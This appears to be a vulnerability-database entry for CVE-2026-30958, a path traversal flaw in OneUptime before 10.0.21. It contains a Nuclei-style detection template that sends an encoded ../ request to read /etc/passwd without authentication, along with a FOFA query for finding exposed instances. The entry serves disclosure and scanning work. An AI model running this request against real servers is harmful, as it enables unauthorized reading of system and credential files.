CVE-2026-30958: OneUptime < 10.0.21 - Path Traversal

2026-07-09 OneUptime PoC Public

Description

OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.

PoC

id: CVE-2026-30958

info:
  name: OneUptime < 10.0.21 - Path Traversal
  author: ashvinctrl,iconnnjka
  severity: high
  description: |
    OneUptime < 10.0.21 contains a path traversal caused by unsanitized componentName parameter in /workflow/docs/:componentName endpoint, letting unauthenticated attackers read arbitrary files from the server filesystem.
  impact: |
    Unauthenticated attackers can read arbitrary files on the server, potentially exposing sensitive information.
  remediation: |
    Upgrade to version 10.0.21 or later.
  reference:
    - https://github.com/OneUptime/oneuptime/security/advisories/GHSA-p2wh-9pw8-hvff
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30958
    - https://github.com/OneUptime/oneuptime
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2026-30958
    epss-score: 0.01139
    epss-percentile: 0.64978
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: title="OneUptime"
  tags: cve,cve2026,oneuptime,lfi,path-traversal,vuln,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/workflow/docs/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022028123426467793310e61c7c2c0db69a2e86a485c8a9b4880e6d267ecf4043c340221008986443aa55b6f33fe310f9ac649d2dfbc7eb22e230452f64b8b2e915be6c876:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities